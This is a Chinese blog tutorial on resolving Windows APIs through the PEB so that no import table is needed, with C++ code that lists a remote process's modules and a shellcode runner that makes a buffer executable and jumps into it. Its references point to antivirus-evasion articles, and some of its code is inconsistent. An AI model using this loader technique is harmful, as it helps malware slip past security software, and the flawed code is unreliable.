前置知识
pe 文件结构
Windows API
API 字符串隐藏原理
思路
- 获取 kernel32.dll 基地址;
- 定位 GetProcAddress 函数的地址;
- 使用 GetProcAddress 确定 LoadLibrary 函数的地址;
- 然后使用 LoadLibrary 加载 DLL 文件 (例如 user32.dll);
- 使用 GetProcAddress 查找某个函数的地址 (例如 MessageBox);
- 指定函数参数;
- 调用函数.
通过 PEB 获取 kernel32.dll 基地址
在 Windows 操作系统中每一个进程系统都维护着一个描述该进程的结构体, 我们称之为 peb(进程环境块), 如可执行文件加载到内存的位置, 模块列表 (DLL), 指示进程是否被调试的标志, 不同发行版的 Windows 系统该结构体可能存在着差异, 在这个结构体里就维护者一个描述所有载入模块的链表 (InMemoryOrderModuleList), 无论我们是否使用, 系统都会载入 kernel32.dll 到进程的虚拟地址空间.
C++ 代码
- // ConsoleApplication6.cpp : 此文件包含 "main" 函数. 程序执行将在此处开始并结束.
- //
- #include "pch.h"
- #include <stdio.h>
- #include "windows.h"
- #define NT_SUCCESS(x) ((x)>= 0)
- #define ProcessBasicInformation 0
- typedef NTSTATUS(NTAPI *pfnNtWow64QueryInformationProcess64)(
- IN HANDLE ProcessHandle,
- IN ULONG ProcessInformationClass,
- OUT PVOID ProcessInformation,
- IN ULONG ProcessInformationLength,
- OUT PULONG ReturnLength OPTIONAL
- );
- typedef NTSTATUS(NTAPI *pfnNtWow64ReadVirtualMemory64)(
- IN HANDLE ProcessHandle,
- IN PVOID64 BaseAddress,
- OUT PVOID Buffer,
- IN ULONG64 Size,
- OUT PULONG64 NumberOfBytesRead
- );
- typedef
- NTSTATUS(WINAPI *pfnNtQueryInformationProcess)
- (HANDLE ProcessHandle, ULONG ProcessInformationClass,
- PVOID ProcessInformation, UINT32 ProcessInformationLength,
- UINT32* ReturnLength);
- typedef struct _PROCESS_BASIC_INFORMATION32 {
- NTSTATUS ExitStatus;
- UINT32 PebBaseAddress;
- UINT32 AffinityMask;
- UINT32 BasePriority;
- UINT32 UniqueProcessId;
- UINT32 InheritedFromUniqueProcessId;
- } PROCESS_BASIC_INFORMATION32;
- typedef struct _UNICODE_STRING32
- {
- USHORT Length;
- USHORT MaximumLength;
- PWSTR Buffer;
- } UNICODE_STRING32, *PUNICODE_STRING32;
- typedef struct _PEB32
- {
- UCHAR InheritedAddressSpace;
- UCHAR ReadImageFileExecOptions;
- UCHAR BeingDebugged;
- UCHAR BitField;
- ULONG Mutant;
- ULONG ImageBaseAddress;
- ULONG Ldr;
- ULONG ProcessParameters;
- ULONG SubSystemData;
- ULONG ProcessHeap;
- ULONG FastPebLock;
- ULONG AtlThunkSListPtr;
- ULONG IFEOKey;
- ULONG CrossProcessFlags;
- ULONG UserSharedInfoPtr;
- ULONG SystemReserved;
- ULONG AtlThunkSListPtr32;
- ULONG ApiSetMap;
- } PEB32, *PPEB32;
- typedef struct _PEB_LDR_DATA32
- {
- ULONG Length;
- BOOLEAN Initialized;
- ULONG SsHandle;
- LIST_ENTRY32 InLoadOrderModuleList;
- LIST_ENTRY32 InMemoryOrderModuleList;
- LIST_ENTRY32 InInitializationOrderModuleList;
- ULONG EntryInProgress;
- } PEB_LDR_DATA32, *PPEB_LDR_DATA32;
- typedef struct _LDR_DATA_TABLE_ENTRY32
- {
- LIST_ENTRY32 InLoadOrderLinks;
- LIST_ENTRY32 InMemoryOrderModuleList;
- LIST_ENTRY32 InInitializationOrderModuleList;
- ULONG DllBase;
- ULONG EntryPoint;
- ULONG SizeOfImage;
- UNICODE_STRING32 FullDllName;
- UNICODE_STRING32 BaseDllName;
- ULONG Flags;
- USHORT LoadCount;
- USHORT TlsIndex;
- union
- {
- LIST_ENTRY32 HashLinks;
- ULONG SectionPointer;
- };
- ULONG CheckSum;
- union
- {
- ULONG TimeDateStamp;
- ULONG LoadedImports;
- };
- ULONG EntryPointActivationContext;
- ULONG PatchInformation;
- } LDR_DATA_TABLE_ENTRY32, *PLDR_DATA_TABLE_ENTRY32;
- typedef struct _PROCESS_BASIC_INFORMATION64 {
- NTSTATUS ExitStatus;
- UINT32 Reserved0;
- UINT64 PebBaseAddress;
- UINT64 AffinityMask;
- UINT32 BasePriority;
- UINT32 Reserved1;
- UINT64 UniqueProcessId;
- UINT64 InheritedFromUniqueProcessId;
- } PROCESS_BASIC_INFORMATION64;
- typedef struct _PEB64
- {
- UCHAR InheritedAddressSpace;
- UCHAR ReadImageFileExecOptions;
- UCHAR BeingDebugged;
- UCHAR BitField;
- ULONG64 Mutant;
- ULONG64 ImageBaseAddress;
- ULONG64 Ldr;
- ULONG64 ProcessParameters;
- ULONG64 SubSystemData;
- ULONG64 ProcessHeap;
- ULONG64 FastPebLock;
- ULONG64 AtlThunkSListPtr;
- ULONG64 IFEOKey;
- ULONG64 CrossProcessFlags;
- ULONG64 UserSharedInfoPtr;
- ULONG SystemReserved;
- ULONG AtlThunkSListPtr32;
- ULONG64 ApiSetMap;
- } PEB64, *PPEB64;
- typedef struct _PEB_LDR_DATA64
- {
- ULONG Length;
- BOOLEAN Initialized;
- ULONG64 SsHandle;
- LIST_ENTRY64 InLoadOrderModuleList;
- LIST_ENTRY64 InMemoryOrderModuleList;
- LIST_ENTRY64 InInitializationOrderModuleList;
- ULONG64 EntryInProgress;
- } PEB_LDR_DATA64, *PPEB_LDR_DATA64;
- typedef struct _UNICODE_STRING64
- {
- USHORT Length;
- USHORT MaximumLength;
- ULONG64 Buffer;
- } UNICODE_STRING64, *PUNICODE_STRING64;
- typedef struct _LDR_DATA_TABLE_ENTRY64
- {
- LIST_ENTRY64 InLoadOrderLinks;
- LIST_ENTRY64 InMemoryOrderModuleList;
- LIST_ENTRY64 InInitializationOrderModuleList;
- ULONG64 DllBase;
- ULONG64 EntryPoint;
- ULONG SizeOfImage;
- UNICODE_STRING64 FullDllName;
- UNICODE_STRING64 BaseDllName;
- ULONG Flags;
- USHORT LoadCount;
- USHORT TlsIndex;
- union
- {
- LIST_ENTRY64 HashLinks;
- ULONG64 SectionPointer;
- };
- ULONG CheckSum;
- union
- {
- ULONG TimeDateStamp;
- ULONG64 LoadedImports;
- };
- ULONG64 EntryPointActivationContext;
- ULONG64 PatchInformation;
- } LDR_DATA_TABLE_ENTRY64, *PLDR_DATA_TABLE_ENTRY64;
- int main()
- {
- DWORD dwPid = 4480;
- HANDLE m_ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
- BOOL bTarget = FALSE;
- BOOL bSource = FALSE;
- IsWow64Process(GetCurrentProcess(), &bSource);
- IsWow64Process(m_ProcessHandle, &bTarget);
- SYSTEM_INFO si;
- GetSystemInfo(&si);
- if (bTarget == FALSE && bSource == TRUE)
- {
- HMODULE NtdllModule = GetModuleHandle(L"ntdll.dll");
- pfnNtWow64QueryInformationProcess64 NtWow64QueryInformationProcess64 = (pfnNtWow64QueryInformationProcess64)GetProcAddress(NtdllModule, "NtWow64QueryInformationProcess64");
- pfnNtWow64ReadVirtualMemory64 NtWow64ReadVirtualMemory64 = (pfnNtWow64ReadVirtualMemory64)GetProcAddress(NtdllModule, "NtWow64ReadVirtualMemory64");
- PROCESS_BASIC_INFORMATION64 pbi64 = { 0 };
- if (NT_SUCCESS(NtWow64QueryInformationProcess64(m_ProcessHandle, ProcessBasicInformation, &pbi64, sizeof(pbi64), NULL)))
- {
- DWORD64 Ldr64 = 0;
- LIST_ENTRY64 ListEntry64 = { 0 };
- LDR_DATA_TABLE_ENTRY64 LDTE64 = { 0 };
- wchar_t ProPath64[256];
- if (NT_SUCCESS(NtWow64ReadVirtualMemory64(m_ProcessHandle, (PVOID64)(pbi64.PebBaseAddress + offsetof(PEB64, Ldr)), &Ldr64, sizeof(Ldr64), NULL)))
- {
- if (NT_SUCCESS(NtWow64ReadVirtualMemory64(m_ProcessHandle, (PVOID64)(Ldr64 + offsetof(PEB_LDR_DATA64, InLoadOrderModuleList)), &ListEntry64, sizeof(LIST_ENTRY64), NULL)))
- {
- if (NT_SUCCESS(NtWow64ReadVirtualMemory64(m_ProcessHandle, (PVOID64)(ListEntry64.Flink), &LDTE64, sizeof(_LDR_DATA_TABLE_ENTRY64), NULL)))
- {
- while (1)
- {
- if (LDTE64.InLoadOrderLinks.Flink == ListEntry64.Flink) break;
- if (NT_SUCCESS(NtWow64ReadVirtualMemory64(m_ProcessHandle, (PVOID64)LDTE64.FullDllName.Buffer, ProPath64, sizeof(ProPath64), NULL)))
- {
- printf("模块基址: 0x%llX\n 模块大小: 0x%X\n 模块路径:%ls\n", LDTE64.DllBase, LDTE64.SizeOfImage, ProPath64);
- }
- if (!NT_SUCCESS(NtWow64ReadVirtualMemory64(m_ProcessHandle, (PVOID64)LDTE64.InLoadOrderLinks.Flink, &LDTE64, sizeof(_LDR_DATA_TABLE_ENTRY64), NULL))) break;
- }
- }
- }
- }
- }
- }
- else if (bTarget == TRUE && bSource == TRUE || si.wProcessorArchitecture != PROCESSOR_ARCHITECTURE_AMD64 ||
- si.wProcessorArchitecture != PROCESSOR_ARCHITECTURE_IA64)
- {
- HMODULE NtdllModule = GetModuleHandle(L"ntdll.dll");
- pfnNtQueryInformationProcess NtQueryInformationProcess = (pfnNtQueryInformationProcess)GetProcAddress(NtdllModule, "NtQueryInformationProcess");
- PROCESS_BASIC_INFORMATION32 pbi32 = { 0 };
- if (NT_SUCCESS(NtQueryInformationProcess(m_ProcessHandle, ProcessBasicInformation, &pbi32, sizeof(pbi32), NULL)))
- {
- DWORD Ldr32 = 0;
- LIST_ENTRY32 ListEntry32 = { 0 };
- LDR_DATA_TABLE_ENTRY32 LDTE32 = { 0 };
- wchar_t ProPath32[256];
- if (ReadProcessMemory(m_ProcessHandle, (PVOID)(pbi32.PebBaseAddress + offsetof(PEB32, Ldr)), &Ldr32, sizeof(Ldr32), NULL))
- {
- if (ReadProcessMemory(m_ProcessHandle, (PVOID)(Ldr32 + offsetof(PEB_LDR_DATA32, InLoadOrderModuleList)), &ListEntry32, sizeof(LIST_ENTRY32), NULL))
- {
- if (ReadProcessMemory(m_ProcessHandle, (PVOID)(ListEntry32.Flink), &LDTE32, sizeof(_LDR_DATA_TABLE_ENTRY32), NULL))
- {
- while (1)
- {
- if (LDTE32.InLoadOrderLinks.Flink == ListEntry32.Flink) break;
- if (ReadProcessMemory(m_ProcessHandle, (PVOID)LDTE32.FullDllName.Buffer, ProPath32, sizeof(ProPath32), NULL))
- {
- printf("模块基址: 0x%X\n 模块大小: 0x%X\n 模块路径:%ls\n",LDTE32.DllBase,LDTE32.SizeOfImage,ProPath32);
- }
- if (!ReadProcessMemory(m_ProcessHandle, (PVOID)LDTE32.InLoadOrderLinks.Flink, &LDTE32, sizeof(_LDR_DATA_TABLE_ENTRY32), NULL)) break;
- }
- }
- }
- }
- }
- }
- CloseHandle(m_ProcessHandle);
- getchar();
- }
- // 运行程序: Ctrl + F5 或调试 >"开始执行 (不调试)" 菜单
- // 调试程序: F5 或调试 >"开始调试" 菜单
- // 入门提示:
- // 1. 使用解决方案资源管理器窗口添加 / 管理文件
- // 2. 使用团队资源管理器窗口连接到源代码管理
- // 3. 使用输出窗口查看生成输出和其他消息
- // 4. 使用错误列表窗口查看错误
- // 5. 转到 "项目">"添加新项" 以创建新的代码文件, 或转到 "项目">"添加现有项" 以将现有代码文件添加到项目
- // 6. 将来, 若要再次打开此项目, 请转到 "文件">"打开">"项目" 并选择 .sln 文件
汇编代码
- HMODULE GetKernel32() {
- HMODULE hModule;
- _asm {
- mov eax, fs: [0x30]//fs:[00] 位置存放着当前线程的线程环境块 (teb),teb 的 0x30 偏移处存放着当前线程所属进程的 peb.
- mov eax, [eax + 0xc]//EAX = PEB->Ldr
- mov esi, [eax + 0x14]//ESI = PEB->Ldr.InMemOrder
- lodsd //EAX = Second module
- xchg eax, esi //EAX = ESI, ESI = EAX
- lodsd //Next module
- mov ebx, [eax + 0x10]//EBX = Base address
- mov hModule,ebx
- }
- return hModule;
- }
无导入表运行 shellcode
- int main() {
- //UCHAR shellcode[] = {'\xbd','\xb0','\x63','\xa7','\x89','\xda','..........[shellcode] ..........'};
- typedef LPVOID(WINAPI *pVirtualAlloc)(LPVOID, DWORD, DWORD, DWORD);
- typedef BOOL(WINAPI *pVirtualProtect)(LPVOID,DWORD,DWORD,PDWORD);
- typedef BOOL(WINAPI* pWriteProcessMemory)(HANDLE, LPVOID, LPVOID, DWORD, LPDWORD);
- DWORD oldProtect=0;
- HMODULE hKernal32 = GetKernal32();
- pVirtualAlloc VirtualAlloc=(pVirtualAlloc)GetProcAddress(hKernal32, "VirtualAlloc");
- pVirtualProtect VirtualProtect = (pVirtualProtect)GetProcAddress(hKernal32, "VirtualProtect");
- pWriteProcessMemory WriteProcessMemory = (pWriteProcessMemory)GetProcAddress(hKernal32, "WriteProcessMemory");
- //PVOID Address = VirtualAlloc(NULL, sizeof(shellcode) + 1, MEM_COMMIT, PAGE_READWRITE);
- //WriteProcessMemory(GetCurrentProcess(), Address, &shellcode, sizeof(shellcode), NULL);
- //VirtualProtect(Address, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &oldProtect);
- VirtualProtect(&shellcode, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &oldProtect);
- ((void(*)(void)) &shellcode)();
- VirtualProtect(&shellcode, sizeof(shellcode), oldProtect, NULL);
- //VirtualProtect(Address, sizeof(shellcode), oldProtect, NULL);
- return 0;
参考
[1] WOW64 通过 PEB 获取 32/64 位进程模块信息 https://www.52pojie.cn/thread-872501-1-1.html
[2] 过所有主流杀软查杀的 "免杀壳" 编写揭秘 https://bbs.pediy.com/thread-252772.htm
[3] 重新编译开源代码绕过杀毒软件 https://www.t00ls.net/thread-53697-1-1.html
[4] 通过重写 ring3 API 函数实现免杀 https://www.t00ls.net/thread-53717-1-1.html
来源: http://www.bubuko.com/infodetail-3294732.html